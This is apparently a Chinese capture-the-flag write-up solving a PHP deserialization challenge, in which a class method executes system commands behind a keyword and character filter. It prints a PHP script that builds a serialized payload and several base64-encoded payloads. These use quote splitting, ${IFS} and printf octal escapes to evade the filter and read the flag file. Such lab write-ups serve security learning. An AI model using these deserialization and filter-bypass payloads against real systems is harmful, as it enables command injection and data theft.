背景知识
php序列化和反序列化
命令执行绕过方式
题目
进行代码审计
可知为反序列化
整体是创建case类,可接受post传来的ctf值
_consturuct函数,是在函数调动前启用,构造了$method和$args两个变量。
_dexstruct函数在变量摧毁的时使用,所以放在后面。该方法监测ping是否在method中,并调用了名为method的方法,且以数组
ping函数规定了可以调用系统命令。该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
waf函数,过滤命令。在变量str中过滤掉\ & \/ cat flag tac php ls命令。
_wakeup函数,反序列化,将args的值作为变量k赋值给变量v
上述所总,通过$method和_construct来调用构造的ping方法,通过$args作为输入口进行命令的输入
需要添加序列化
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}
经过base64编码后
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
ls会被过滤掉,有三种方法可以绕过过滤:
空的环境变量
单引号
双引号
将变量b进行编码后的数字用post方法传值得到
发现一个文件夹为flag_1s_here
尝试用ls查看文件夹,但是空格会被过滤,可以使用变量${IFS}进行绕过
O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}
编码后为
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
发现了一个带有flag的php文件,用cat抓取这个文件的源码就可获得flag,但是代码会过滤掉/,之前说的方法不适用于/。
flag,cat,flag,php都可以用双引号绕过,空格用IFS绕过,/要用printf及()绕过。
$(printf "\154\163")=ls
154转化为8进制转化为10进制后正好对应ascii的l
同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。
进行编码后
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
得到flag
参考学习链接: